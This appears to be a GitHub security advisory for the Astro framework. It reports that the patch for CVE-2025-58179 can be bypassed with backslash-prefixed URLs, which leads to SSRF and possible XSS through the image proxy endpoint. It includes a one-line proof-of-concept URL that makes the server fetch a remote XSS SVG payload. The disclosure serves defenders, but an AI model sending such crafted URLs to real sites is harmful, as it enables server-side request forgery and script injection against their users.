Astro's bypass of image proxy domain validation leads to SSRF and potential XSS
Description
Published to the GitHub Advisory Database
Oct 28, 2025
Reviewed
Oct 28, 2025
Last updated
Oct 28, 2025
Summary
This is a patch bypass of CVE-2025-58179 in commit 9ecf359. The fix blocks
http://,https://and//, but can be bypassed using backslashes (\) - the endpoint still issues a server-side fetch.PoC
https://astro.build/_image?href=\raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg&f=svg
References